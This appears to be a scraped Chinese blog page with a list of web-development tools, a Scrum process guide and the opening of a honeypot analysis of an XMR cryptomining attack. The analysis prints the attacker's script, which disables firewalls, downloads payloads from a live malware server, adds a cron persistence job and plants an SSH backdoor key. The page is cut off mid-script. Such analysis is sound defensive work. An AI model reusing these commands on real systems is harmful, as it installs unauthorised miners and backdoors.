Markdown 是一种轻量级的「标记语言」,它的优点很多,目前也被越来越多的写作爱好者,撰稿者广泛使用。Markdown 十分轻量,学习成本也不高。


    

  • MWeb：专业的 Markdown 写作、记笔记、静态博客生成软件 【付费】
    • 

  • Markeditor：MarkEditor 是最新的一款 Markdown 编辑器，除了基本功能外，还包含了诸如表格编辑、图表、高亮、公式等等丰富的功能！【付费】
    • 

  • StackEdit：一个开放源码免费使用的 MarkDown 编辑器, 基于 PageDown,使用了 Stack Overflow 和其他 Stack Exchange 网站的 MarkDown 库
    • 

  • Dillinger：Dillinger 是一款在线的 Markdown 编辑器,支持更换主题,字数统计,云服务保存,导出 HTML、PDF 等功能。
    • 

  • Mou: Mac OS X下的免费Markdown编辑器【作者貌似已经跑路了】
    • 

  • Texts：Windows和Mac OS X下纯文本编辑器。
    • 



表示有些付费的Markdown编辑器宝宝买不起。


 


icon图标


自动草稿


几乎每一个Web开发者，尤其是前端开发人员都会需要icon图标来增色项目。


    

  • Font Awesome：Font Awesome为您提供可缩放的矢量图标,您可以使用CSS所提供的所有特性对它们进行更改,包括:大小、颜色、阴影或者其它任何支持的效果。
    • 

  • IconMonster：免费，高质量, 庞大且资源不断增长的简洁的icon图标库。
    • 

  • IconFinder：Iconfinder提供美丽的图标,服务数以百万计的设计师,开发商和其他有创意的专业人员。
    • 

  • Fontello：一个目测有200 个图标（数量还在增加）的 Web-font 图标市场，对于广大设计师、前端开发者来说是很棒的资源。
    • 

  • 阿里妈妈矢量图标库 ：Iconfont.cn是由阿里巴巴UX部门推出的矢量图标管理网站，也是国内首家推广Webfont形式图标的平台。网站涵盖了1000多个常用图标并还在持续更新中
    • 



Git 代理 / 服务


自动草稿


Git是一款免费、开源的分布式版本控制系统，用于敏捷高效地处理任何或小或大的项目。Git是一个开源的分布式版本控制系统，可以有效、高速的处理从很小到非常大的项目版本管。Git 是 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件。


    

  • SourceTree：SourceTree 是 Windows 和Mac OS X 下免费的 Git 和 Hg 客户端。支持创建、克隆、提交、push、pull 和合并等操作。
    • 

  • GitKraken (Beta)：一款自由、直观、快捷、美观的跨平台Git客户端。
    • 

  • Tower 2：一款美丽，高效，强大的Git管理，让Git版本控制变得容易。
    • 

  • GitHub Client：有助于无缝连接GitHub和GitHub的企业的项目。
    • 

  • Gogs：Gogs (Go Git Service) 是一款极易搭建的自助 Git 服务。 开发目的Gogs 的目标是打造一个最简单、最快速和最轻松的方式搭建自助 Git 服务。
    • 

  • GitLab:  GitLab是利用 Ruby on Rails 一个开源的版本管理系统,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目。
    • 

  • Coding：Coding 的代码托管功能除了基本的 Git 仓库以外，还有保护分支，分屏对比， Code Review 等高级功能。并且整合了 Pages 服务，质量管理，演示平台等开发工具，提升研发效率。
    • 



本地开发环境搭建


自动草稿


根据您运行的是什么操作系统和计算机配置，有时候进行测试的时候就有可能需要搭建一个快速的本地开发环境。自己搭建很是蛮烦，不用担心，有很多将Apache，Nginx，MySQL和phpMyAdmin进行打包一体化的软件。这些软件很是方便我们来进行本地测试。


    

  • XAMPP：XAMPP（Apache MySQL PHP PERL）是一个功能强大的建站集成软件包。
    • 

  • MAMP PRO：MAMP Pro for mac是Mac OS平台搭建本地服务器环境的组合软件套装,包含 Macintosh、Apache、MySQL和PHP 四大开发环境。
    • 

  • WampServer：Wamp就是Windows Apache Mysql PHP集成安装环境，即在window下的apache、php和mysql的服务器软件。
    • 

  • Vagrant：Vagrant是一个基于Ruby的工具，用于创建和部署虚拟化开发环境。它 使用Oracle的开源VirtualBox虚拟化系统，使用 Chef创建自动化虚拟环境。
    • 

  • Laragon：Laragon工具就是Laravel的一键安装工具吧，还集成了一整套wamp工具，除去Laravel安装外，它也是一款不错的wamp工具，干净简单，便捷迅速。Diff Checkers
    • 

  • Wnmp：WNMP是Windows下便捷，安全的Nginx MariaDB PHP开发环境环境集成套件包。
    • 



 


文本对比检查


自动草稿


Diff checkers 可以帮助您比较文件之间的差异，然后合并更改。帮助我们更直观的看见文本之间的差异。


    

  • Diffchecker：Diffchecker 是一款非常好用的在线文本对比工具,能够高亮显示有差异的行和字符。Diffchecker 提供了文件上传对比功能,还可以选择对比的存储时间。
    • 

  • Beyond Compare：Beyond Compare是一套由Scooter Software推出的软件，主要用途是对比两个文件夹或者文件，并将差异以颜色标示。
    • 



当然有很多免费的文本编辑器，包括我们上面提到的也有插件和扩展，可以协助开发者方便的进行文件比较。




代码共享 / 代码测试


自动草稿


前端开发者在公司内或者团体间需要进行协作，共享代码，那么一下工具很值得开发者一试。


    

  • JS Bin：JS Bin能够让你编辑和测试JavaScript和HTML代码。你还可以将编辑后的代码保存到本地,或将URL地址发给其他人,让其协助调试代码。
    • 

  • JSfiddle：jsFiddle是一个在线的shell编辑器,通过流行的JS框架创建自定义的环境,以简化JS代码。可以用于测试示例代码。
    • 

  • codeshare：与其他开发者实时共享代码。
    • 

  • Dabblet：Dabblet是一个开源互动测试工具,用于测试CSS和HTML。Dabblet支持实时更新、匿名备份、嵌入网站、与他人共享或者存储到GitHub。
    • 



协作工具


自动草稿


每一个很棒的开发团队需要一种方式来保持联系，协作，来帮助提高生产力。


    

  • Slack：Slack 是聊天群组 大规模工具集成 文件整合 统一搜索。
    • 

  • Trello：Trello的目标是提供简洁清晰的团队协作工具。不过弥缝在这里将介绍如果将Trello用来建立自己的时间管理系统。
    • 

  • Glip：Glip:在线团队办公协作平台是一个类似于Slack网站的网络办公集合体,内置了邮箱、网盘、即时通讯应用、协作服务等,把所有和网络办公有关的服务和工具都整合在了一起。
    • 

  • Asana：Asana是一款团队任务管理软件 方便人们去制定和跟踪团队的项目任务的完成情况
    • 

  • Jira：JIRA是Atlassian公司出品的项目与事务跟踪工具，被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。
    • 



灵感创意


自动草稿


当我们进行开发时，偶尔迸发的灵感会使我们的项目或者产品增色不少。当然不仅仅依靠自我的灵感，我们也需要从别人的作品中得到灵感来保证我们的Web设计界面或者产品不落后这个时代。


    

  • CodePen：全球web前端开发人员的圣地！可以展示个人的创意和建立一个测试实例来解决bug。 来寻找你的项目设计方式和灵感吧。
    • 

  • Dribble：Dribbble是一个面向创作家、艺术工作者、设计师等创意类作品的人群，提供作品在线服务，供网友在线查看已经完成的作品或者正在创作的作品的交流网站。
    • 



 


网站测速工具


自动草稿


网站的速度是用户体验关键因素。网站速度快与慢决定是否能更高的搜索引擎排名，更高的转换率，更低的跳出率，以及更好的整体用户体验和。值得高兴的是很多免费软件可以用于测试网站速度，帮助我们找出加载缓慢的问题，方便我们去解决。


    

  • Google PageSpeed Insights：PageSpeed Insights是一款可以分析网页速度瓶颈,让网页设计人员开发出速度更快的网站的谷歌浏览器插件。
    • 

  • Google Chrome DevTools：Chrome DevTools 是公认的优秀的前端调试工具，功能强大，使用起来有一定的学习门槛，
    • 

  • WebPageTest：WebPagetest是一款Web应用程序,它将一个URL以及一系列配置参数作为输入,并对那个URL运行性能测试。
    • 

  • Pingdom：pingdom全面的网站监测服务网站,可测速和ping跟踪路由,可以免费监测1个站点,最短1分钟监测一次。
    • 

  • GTmetrix：主要优点在于提供了丰富的详细的测量结果，并建议如何来优化网页中每个元素的，最重要的是会根据网站的具体情况，直接告诉你导致网站加载速度变慢的根源在哪里
    • 



Web开发社区


自动草稿


当开发者在开发的过程中有遇到问题时，除了询问他人以外，还可以使用搜索引擎搜索。社区的重要性就显而易见了，大部分开发者会在开发社区分享他们经验，如何避过不必要踩的坑。


国内：


    

  • 谷歌开发者社区(GDG)：开放 · 分享 · 创新
    • 

  • segmentfault：是中国领先的开发者技术社区。 为编程爱好者提供一个纯粹、高质的技术交流的平台, 与开发者一起学习、交流与成长。【老实话我觉得这名字不好记】
    • 

  • 全栈社区：中国最大的全栈开发者社区,致力于打造一个问题解答,技术文章分享,全栈人员创业的服务平台,让开发更容易,让创业更简单.
    • 

  • 稀土区：专注开发设计资源分享，UI模板资源，ICONS资源，HTML模板资源等等.......
    • 



国外：



Web开发新闻聚合


自动草稿阅读开发和设计的技术干货，及时的知道技术圈内更新了什么，保持信息流新鲜，有助于我们更好的开发！


国内：


    

  • 掘金：掘金是中国质量最高的技术分享社区，邀请稀土用户作为Co-Editor 来分享优质的技术干货，从前端到后端开发，从设计到产品，让每一个掘金用户都能挖掘到有价值的干货。
    • 

  • 开发者头条：一个以程序员为中心，基于学习和分享的开发者社区。你可以阅读头条新闻、分享技术文章、发布开源项目，订阅技术极客们创建的学习主题和关注编程牛人。
    • 

  • 极客头条：技术文章聚合站点，目测现在运营力度减弱。
    • 

  • 推酷：以技术为驱动，以聚合挖掘为核心，打造个性推荐和订阅，给你一站式的阅读。 更汇聚优质公开课和线下活动，让信息知识获取更便捷。
    • 



国外：





标签: , , , , , , 
没有评论












107月/18关


【项目管理】敏捷项目管理流程-Scrum框架最全总结




发布在 邵珠庆




Scrum中的角色


Scrum Master——项目负责人、项目经理

保护团队不受外界干扰，是团队的领导和推进者，负责提升 Scrum 团队的工作效率，控制 Scrum 中的“检视和适应”周期过程。与 Product Owner 一起将投资产出最大化，他确保所有的利益相关者都可以理解敏捷和尊重敏捷的理念。


Team——开发人员、测试人员、美工设计、DBA等全职能性团队

团队负责交付产品并对其质量负责，团队与所有提出产品需求的人一起工作，包括客户和最终用户，并共同创建 Product Backlog 。团队按照大家的共识来创建功能设计、测试 Backlog 条目交付产品。


Product Owner——产品负责人、产品经理、运营人员

从业务角度驱动项目，传播产品的明确愿景，并定义其主要特性。Product Owner 的主要职责是确保团队只开发对于组织最重要的 Backlog 条目，在 Sprint 中帮助团队完成自己的工作，不干扰团队成员，并迅速提供团队需要的所有信息。


User——最终用户、运营人员、系统使用人员

很多人都可能成为最终用户，比如市场部人员、真正的最终用户、最好的领域专家，也可能是因其专业知识而被雇佣的资讯顾问。最终用户会根据自己的业务知识定义产品，并告知团队自己的期望，提出请求。


Manager——管理层、投资人

管理层要为 Scrum 团队搭建良好的环境，以确保团队能够出色工作，必要的时候，他们也会与 Scrum Master 一起重新组织结构和指导原则。


Customer——客户、系统使用人员、运营人员


客户是为 Scrum 团队提出产品需求的人，她会与组织签订合同，以开发产品。一般来说，这些人是组织中的高级管理人员，负责从外部软件开发公司购买软件开发能力。在为内部产品的公司中，负责批准项目预算的人就是客户。


Scrum中的产出物


Product Backlog——Backlog 待开发项，积压的任务。

产品 Backlog 包括了所有需要交付的内容，其内容根据业务需求的价值顺序排列，每个 Backlog 的优先级是可以调整的，需求是可以增减的，因此产品 Backlog 将根据不断增长来持续驱动维护。


Sprint Backlog——Sprint 本意为“冲刺”，指迭代周期，长度通常是一至六周。

在 Sprint 开始前，定义本次 Sprint 要讨论的“Sprint Backlog”，从中产生本次 Sprint 要完成的 “已定 Product Backlog”。

已定 Product Backlog是 Sprint 计划会议的产物，它定义了团队所接受的工作量，在整个 Sprint 过程中它将保持不变。


User Story、Task——用户故事、任务

用 User Story 来描述 Sprint Backlog 里的项目，User Story 是从用户的角度对系统的某个功能模块所作的简短描述。一个 User Story 描述了项目中的一个小功能，以及这个功能完成之后将会产生什么效果，或者说能为客户创造什么价值。一个 User Story 的大小和复杂度应该以能在一个 Sprint 中完成为宜。如果 User Story 太大，可能会导致对它的开发横跨几个 Sprint，此时就应该将这个 User Story 分解。为了能够及时，高效地完成每个 Story，Scrum 团队会把每个 Story 分解成若干个 Task。每个Task 的时间最好不要超过8小时，保证在1个工作日内完成，如果 Task 的时间超过了8个小时，就说明Task的划分有问题，需要特别注意。


障碍 Backlog——问题列表，积压的待处理事务。

列举了所有团队内部和团队相关的和阻碍项目的进度的问题，Scrum Master 需要确保所有的障碍 Backlog 中的问题都已分配并可以得到解决。


通用会议规则


基本要求

•每次会议都要准时开始、准时结束。

•每次会议都采取开放形式，所有人都可以参加。


会前准备

•提前邀请所有必须参会的人，让他们有时间准备。

•发送带有会议目标和意图的会议纲要。

•预订会议所需的全部资源：房间、投影仪、挂图、主持设备，以及此会议需要的其他东西。

•会前24小时发送提醒。

•准备带有会议规则的挂图。


会议推进

•展开讨论时，会议的推进人必须在场。他不能参与到具体讨论中，但是他需要注意讨论进程，如果讨论参与者失去重点，他还要将讨论带回正规。

•推进人展示会议的目标和意图。

•有必要时，推进人可以商定由某个撰写会议记录。

•推进人可以记录团队的意见，或是教授团队如何自己记录文档；而且推进人可能会在挂图上进行记录，将对话可视化。

•推进人会对会议进行收尾，并进行非常简短的回顾。


会议输出

•使用手写或挂图说明来记录文档，给白板和挂图上的内容拍照。

•必须传达会议记录和大家对会议结果的明确共同认知。


让团队坐在一起！

•大家都懒的动，尽量让“产品负责人”和“全功能团队”都坐在一起！

•互相听到：所有人都可以彼此交谈，不必大声喊，不必离开座位。

•互相看到：所有人都可以看到彼此，都能看到任务板——不用非得近到可以看清楚内容，但至少可以看到个大概。

•隔离：如果你们整个团队突然站起来，自发形成一个激烈的设计讨论，团队外的任何人都不会被打扰到，反之亦然。


团队建设

•Scrum 团队最佳人数控制在“5～9”人。

•全职能性团队：开发组（后台开发、前端开发、测试人员——3~8人）、Scrum Master（项目经理）、产品负责人

•兼职团队成员：美工、DBA、运维


每日立会（Daily Standup Meeting）——建议下班前开始

会议目的

•团队在会议中作计划，协调其每日活动，还可以报告和讨论遇到的障碍。

•任务板能够帮助团队聚焦于每日活动之上，要在这个时候更新任务板和燃尽图。


构成部分

•任务板、即时贴、马克笔

•提示：ScrumMaster 不要站在团队前面或是任务板旁边，不要营造类似于师生教学的气氛。


基本要求

•成员：团队、Scrum Master

•无法出席的团队成员要由同伴代表。

•持续时间/举办地点：每天15分钟，同样时间，同样地点。

•提示：团队成员在聆听他人发言时，都应该想这个问题：“我该怎么帮他做得更快？”


会议输出

•团队彼此明确知道各自的工作，最新的工作进度图。

•得到最新的“障碍 Backlog”

•得到最新的“Sprint Backlog”


会议过程

•团队聚在故事板旁边，可以围成环形。

•从左边第一个开始，向团队伙伴说明他到现在完成的工作。

•然后该成员将任务板上的任务放到正确的列中。

•如果可以的话，该成员可以选取新的任务，交将其放入“进行中工作”列。

•如果该成员遇到问题或障碍，就要将其报告给 Scrum Master。

•每个团队成员重复步骤2到步骤5。


每个人三个问题：

•上次会议时的任务哪些已经完成？：把任务从“正在处理”状态转为“已完成”状态。——今天完成了什么？

•下次会议之前，你计划完成什么任务？：如果任务状态为“待处理”，转为“正在处理”状态。如果任务不在 Sprint Backlog 上，则添加这个任务。如果任务不能在一天成，把这任务细分成多个任务。如果任务可以在一天内完成，把任务状态设为“正在处理”。如果任务状态已经是“正在 处理”，询问是否存在阻碍任务完成得问题。——明天做什么？

•有什么问题阻碍了你的开发？：如果有阻碍你的开发进度的问题，把该障碍加入到障碍 Backlog中。——今天遇到了什么问题？


注意事项

•不要迟到

•不要超出限制时间

•不要讨论技术问题

•不要转变会议话题

•不要在没有准备的情况下参加

•Scrum Master 不要替团队成员移动任务卡片，不要替团队更新燃尽图。

•Scrum Master 不要提出问题，团队成员不要向 Scrum Master 或管理层人员报告。

•如果不能出席会议，需要通知团队，并找一名代表参加。


任务板


•任务板集合了选择好的 Product Backlog 和 Sprint Backlog，并以可视化方式展示。

•任务板只能由团队维护，使用不同颜色的“即时贴”来区分开发人员，或者在“即时贴”写上接受任务的姓名。

•尽量使用大白板，也可以使用软件。


任务板有4列：

•选择好的 Product Backlog：按照优先级，将团队在当前 Sprint 中要着手的 Product Backlog 条目或是故事放在该列中。



•待完成的任务：要完成一个故事，你得完成一些任务。在 Sprint 规划会议中，或是在进行当前 Sprint 中，收集所有特定 Backlog 条目需要完成的新任务，并将它们放入该列。



•进行中的工作：当团队成员开始某个任务后，他会将该任务对应的卡片放到“进行中的工作”列中。从上个每日 Scrum 例会开始，没有完成的任务都会放在该列中，并在上面做标记（通常是个红点）。如果某个任务在“待完成任务”列中所处时间超过一天，就尽量将该任务分为更小 的部分，然后把新任务放到那一列，移除其所属大任务卡片。如果一个新任务因为某个障碍无法完成，就会得到一个红点标记，Scrum Master 就会记下一个障碍。



•完成：当一个任务卡完成后，完成此任务的成员将其放入“完成”列，并开始选取下一张任务卡


燃尽图


•跟踪进度要由团队来完成，燃尽图的横轴表示整个Sprint 的总时间，纵轴表示 Sprint 中所有的任务，其单位可以是小时，人天等。一般来说，燃尽图有”Sprint燃尽图”和”Release燃尽图”之分。



•团队每天更新燃尽图。

•如果燃尽图一直是上升状态，或当 Sprint 进行一段时间之后，Sprint 燃尽图上的Y值仍然与 Sprint 刚开始时相差无几，就说明这个 Sprint 中的 Story 过多，要拿掉一些 Story 以保证这个 Sprint 能顺利完成。 如果Sprint 燃尽图下降得很快，例如 Sprint 刚过半时Y值已经接近0了，则说明这个 Sprint 分配的任务太少，还要多加一些任务进来。在 Sprint 计划会议上，如果团队对即将要做的任务理解和认识不充分，就很可能导致这两种情况的出现。（锻炼团队人员的自我估算时间）

•燃尽图要便于团队更新，没必要让它看起来很炫，也不要过于复杂，难以维护。


Release 燃尽图：记录整个Scurm项目的进度，它的横轴表示这个项目的所有Sprint， 纵轴表示各个Sprint开始前，尚未完成的工作，它的单位可以是个（Story 的数量），人天等。


Sprint规划会议——第一部分（上午）


会议目的

•该会议的工作以分析为主，目的是要详细理解最终用户到底要什么，产品开发团队可以从该会议中详细了解最终用户的真实需要。在会议的结束，团队将会决定他们能够交付哪些东西。

•产品负责人在会前准备：条目化的需求（用户故事），优先级排序，最近1~2个迭代最希望看到的功能。会前准备至关重要，可帮助产品负责人理清头绪，不至于在迭代期内频繁提出变更、增加或删除故事。


基本要求

•迭代计划会在每个迭代第一天召开，目的是选择和估算本次迭代的工作项。

•只有团队成员才能决定团队在当前 Sprint 中能够领取多少个 Backlog 条目的工作。


构成部分：

•经过估算和排序的 Product Backlog。

•挂图、马克笔、剪刀、胶水、即时贴、白板、铅笔和蜡笔。

•假期计划表、重要人员的详细联系信息。

•参会成员：团队成员、Scrum Master、产品负责人


持续时间：在 Sprint 中，每周该会议占用时间为 60 分钟，在早上召开该会议，这样还有可能在同一天召开 Sprint 规划会议的第二部分。


会议输出

•选择好的 Product Backlog 条目。

•各个 Backlog 条目的需求。

•各个 Backlog 条目的用户验收测试。


会议过程

•从第一个 Product Backlog 条目（故事）开始。

•讨论该 Product Backlog 条目，以深入理解。

•分析、明确用户验收测试。

•找到非功能性需求（性能、稳定性...）

•找到验收条件。

•弄清楚需要“完成”到何种水平。

•获得 Backlog 条目各个方面的清晰了解。

•绘制出所需交付物的相关图表，包括流程图、UML图、手绘草图、屏幕 UI 设计等。

•回到步骤1，选取下一个 Backlog 条目。


流程检查：询问团队能否快速回答下列问题，只需要简要回答即可：“我们能在这个 Sprint 中完成第一个 Backlog 条目吗？”如果能得到肯定的回答，那么继续询问下一个 Backlog 条目，一直到已经分析完的最后一个 Backlog 条目。——接下来，休息一下。在休息后，对下一个 Backlog 条目展开上述流程。


结束流程：

•在 Sprint 规划会议第一部分结束前留出 20 分钟。

•再次提问——这次要更加严肃、正式：“你们能否完成第一个 Backlog 条目，...第二个，...？”

•如果团队认为他们不能再接受更多的 Backlog 条目，那就停下来。

•现在是非常重要的一步：送走 Product Owner，除了团队和 Scrum Master 之外的所有人，都得离开。

•当其他人都离开后，再询问团队：“说真的——你们相信自己可以完成这个列表？”

•希望团队现在能短暂讨论一下，看看他们到底认为自己能完成多少工作。

•将结果与 Product Owner 和最终用户沟通。


注意事项：不要改变 Backlog 条目大小，不要估算任务。


Sprint规划会议——第二部分（下午）


会议目的

•该会议的工作以设计为主，产品开发团队可以为他们要实现的解决方案完成设计工作，在会议结束后，团队知道如何构建他们在当前 Sprint 中要开发的功能。


基本要求

•只有产品开发团队才能制定解决方案，架构师或其他团队之外的人只是受邀帮助团队。


构成部分：

•能够帮助团队在该 Sprint 中构建解决方案的人，比如厂商或是来自其他团队的人员。

•选择好的 Product Backlog 条目。

•挂图......


注意事项：不要估算任务，不要分配任务。


会议输出

•应用设计、架构设计图、相关图表

•确保团队知道应该如何完成任务！


会议过程

•从第一个 Backlog 条目开始。

•查看挂图，确定对于客户的需求理解正确。

•围绕该 Backlog 条目进行设计，并基于下列类似问题： •我们需要编写什么样的接口？

•我们需要创建什么样的架构？

•我们需要更新哪些表？

•我们需要更新或是编写哪些组件？

•......




当团队明确知道自己应该如何开发该功能后，就可以转向下一个 Backlog 条目了。在会议的最后 10 分钟，团队成员使用即时贴写出初步的任务。这能帮助团队成员知道接下来的工作从哪里开展，将这些任务放在任务板上。


持续时间：在 Sprint 规划会议第一部分完成后，召开该会议。可以将午餐作为两次会议的一个更长久的休息。但是要在同一天完成 Sprint 规划第一部分，在 Sprint 中，每周该会议占用时间为 60 分钟。


估算会议——根据项目情况合并到Sprint第二部分会议


会议目的

•要做好战略规划，你需要知道 Backlog 中各项的大小，这是版本规划的必要输入；如果想知道团队在一个 Sprint 中能够完成多少工作，这个数据也是必须的。

•团队成员可以从会议中知道项目接下来的阶段会发生哪些事情。


基本要求

•只有团队才能作估算，Product Owner（产品负责人）需要在场，以帮助判定某些用户故事能否拆分为更小的故事。


构成部分：

•Product Owner 根据业务价值排定 Product Backlog 各项顺序。

•需要参加的人员：Team、Product Owner、User、Scrum Master


注意事项：

•不要估算工作量大小——只有团队能这么做。

•Product Owner 不参与估算。


会议过程

•Prodcut Owner 展示她希望得到估算的 Product Backlog 条目。

•团队使用规划扑克来估算 Backlog 条目。

•如果某个 Backlog 条目过大，需要放到下一个或是后续的 Sprint 中，团队就会将该大 Backlog 条目划分为较小的几个 Backlog 条目，并对新的 Backlog 条目使用规划扑克进行估算。

•重新估算 Backlog 中当前没有完成、但是可能会在接下来三个 Sprint 中要完成的条目。


持续时间：该会议时间限制为不超过90分钟。如果 Sprint 持续时间长于一周，那么每个 Sprint 举行两次估算会议比较合适。


会议输出

•经过估算的 Product Backlog。

•更小的 Backlog 条目。


扑克牌估算


具体步骤：

•每个人各自估算后独立出暗牌，听口令一起开牌。

•数值最大者与最小者PK，其他人旁听也可参考。

•讨论结束后重新出牌和开牌。

•重复上述过程，直到结果比较接近。


常见问题


1、为什么任务要分给组而不是个人？

答：因为怕出错了牌又说不出所以然，这样即使日后他不做这个功能，也对这个功能很了解。


2、为什么不让最后领任务的人自己估算？

答：因为他很可能因为不知道某代码可用、不知道某软件不行....而选择了错误的实现方法。


3、为什么不让师傅估算大家采纳，他不是最厉害吗？

答：师傅的想法常常是徒弟们理解不了的，比如为什么不留在女儿国而偏偏去西天取经之类的，共同估算就是让大家在思考中对照自己的实现方法和师傅差异的过程。


Sprint评审会议（Review Meeting）


会议目的

•Scrum 团队在会议中向最终用户展示工作成果，团队成员希望得到反馈，并以之创建或变更 Backlog 条目。


基本要求

•Sprint 复审会议允许所有的参与者尝试由团队展示的新功能。


构成部分

•有可能发布的产品增量，由团队展示。


会议输出

•来自最终用户的反馈。

•障碍 Backlog 的输入。

•团队 Backlog 的输入。

•来自团队的反馈为 Product Backlog 产生输入。


持续时间：90分钟，在 Sprint 结束时进行。


会议过程

•Product Owner 欢迎大家来参加 Sprint 复审会议。

•Product Owner 提醒大家关于本次 Sprint 的目的：Sprint 目标、Scrum 团队在本次 Sprint 中选定要开发的故事。

•产品开发团队展示新功能，并让最终用户尝试新功能。

•Scrum Master 推进会议进程。

•最终用户的反馈将会由 Product Owner 和/或 Scrum Master 记录在案。


注意事项：

•不要展示不可能发布的产品增量。

•Scrum Master 不要负责展示结果。

•团队不要针对 Product Owner 展示。


Sprint反思会议（Retrospective Meeting）


会议目的

•该会议的对应隐喻：医疗诊断！其目的不是为了找到治愈方案，而是要发现哪些方面需要改进。


构成部分

•参与人员：团队成员、Scrum Master


基本要求

•从过去中学习，指导将来。

•改进团队的生产力。


注意事项

•不要让管理层人员参与会议。

•不要在团队之外讨论找到的东西。


会议输出

•障碍 Backlog 的输入。

•团队 Backlog 的输入。


持续时间：90分钟，在 Sprint 评审会议结束后几分钟开始。


会议过程

•准备一个写着“过去哪些做的不错？”的挂图。

•准备一个写着“哪些应该改进？”的挂图。

•绘制一条带有开始和结束日期的时间线。

•给每个团队成员发放一叠即时贴。

•开始回顾。

•做一个安全练习。

•收集事实：发放即时贴，用之构成一条时间线。每个团队成员（包括 Scrum Master）在每张即时贴上写上一个重要的事件。

•“过去哪些做的不错？”：采取收集事实同样的过程，不过这次要把即时贴放在准备好的挂图上。

•做一个分隔，以区分“过去哪些做的不错”和接下来要产出的东西。

•“哪些应该改进？”：像“过去哪些做的不错”那样进行。

•现在将即时贴分组：

•我们能做什么》团队 Backlog 的输入。

•哪些不在我们掌控之内？》障碍 Backlog 的输入。

•根据团队成员的意见对两个列表排序。

•将这两个列表作为下个 Sprint 的 Sprint 规划会议第一部分和 Sprint 规划会议第二部分的输入，并决定到时候要如何处理这些发现的信息。






标签: , , , , , 
没有评论












236月/18关


XMR恶意挖矿案例简析




发布在 邵珠庆




前言


数字货币因其技术去中性化和经济价值等属性，逐渐成为大众关注的焦点，同时通过恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径。本文简析通过蜜罐获取的XMR恶意挖矿事件：攻击者通过爆破SSH获取系统权限，配置root用户免密登录,并下载及执行XMR 挖矿程序，及XMR 网页挖矿程序。XMR挖矿程序耗肉鸡CPU/GPU资源，网页挖矿程序耗访问肉鸡服务器JS 网页的客户端资源 。


自动草稿


一、攻击者获取肉鸡


1）SSH暴力破解


2018年10月11日，攻击者使用恶意IP(223.89.72.8)暴力破解Victim的SSH服务成功，获取系统账号权限。


2）关闭Victim的防火墙


通过暴力破解获得的账号登录Victim并，进入工作目录/tmp,并尝试关闭主机防火墙。


root@victim:~#cd /tmp
root@victim:~#/etc/init.d/iptables stop
root@victim:~#service iptables stop
root@victim:~#SuSefirewall2 stop
root@victim:~#reSuSefirewall2 stop


3）下载恶意脚本


命令Victim从Malware Server（140.143.35.89:43768）下载恶意文件shz.sh：


root@victim:/tmp#wget http://140.143.35.89:43768/shz.sh
[4l--2018-10-11 19:07:34--  http://140.143.35.89:43768/shz.sh
Connecting to 140.143.35.89:43768... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7470 (7K) [application/octet-stream]
Saving to: `/tmp/shz.sh\'


58% [======================>                ] 4,380        41K/s  eta 0s
100%[======================================>] 7,470        41K/s

2018-10-* *:*:* (41 KB/s) - `/tmp/shz.sh\' saved [7470/7470]


二、执行恶意脚本


获取Victim肉鸡权限及下载恶意脚本后，命令Victim执行/tmp/shz.sh，下面简析shz.sh的恶意行为。


1）开始执行


root@victim:/tmp#shshz.sh&


2）基本配置


获取Victim的定时Crontab定时任务文件及内容，SSH登录的公钥，更改下载文件命令及变量定义等基本配置。


#!/bin/sh
#Crontab定时任务(crontab -e)
crondir=\'/var/spool/cron/\'"$USER"
cont=`cat ${crondir}`
#SSH登录公钥
ssht=`cat /root/.ssh/authorized_keys`
#自定义变量
echo 1 > /etc/gmbpr
rtdir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
#更改命令名称
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url


3）判断账号权限（特殊权限）


如果文件/etc/gmbpr存在，即被暴力破解的账号有/etc写权限，一般root。设置工作目录为/etc：


if [ -f "$rtdir" ]


3.1 定时任务 无密登录


#将恶意脚本/etc/shz.sh加入系统crontab定时任务中
[[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /etc/shz.sh >/dev/null 2>&1" >> ${crondir}
#将攻击者的SSH登录公钥加入authorized_key中，用于无密登录ssh
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfi
PAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL Kn 7GgxvsRtqH
LMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952 1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3 KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8Ybq
gunZImJt uLljgpP0ZHd1wGz QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys


3.2 恶意挖矿的配置文件


如果配置文件/etc/com.json不存在，则从http://140.143.35.89:43768/com.json下载至/etc/com.json。


cfg="/etc/com.json"
if [ -f "$cfg" ]
    then
        echo "exists config"
    else
        if [ -f "$bbdir" ]
        then
                curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/com.json > /et
c/com.json
        elif [ -f "$bbdira" ]
        then
                url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/com.json > /etc
/com.json
        elif [ -f "$ccdir" ]
        then
                wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/com.json
        elif [ -f "$ccdira" ]
        then
                get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/com.json
        fi
 fi


3.3 ELF挖矿主程序


从http://zjgw-1256891197.cos.ap-beijing.myqcloud.com下载恶意挖矿主程序zjgw至/etc。zjgw为elf格式的二进制文件。


if [ -f "$bbdir" ]
    then
        curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw > /etc/zjgw
    elif [ -f "$bbdira" ]
    then
        url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw > /etc/zjgw    
    elif [ -f "$ccdir" ]
    then
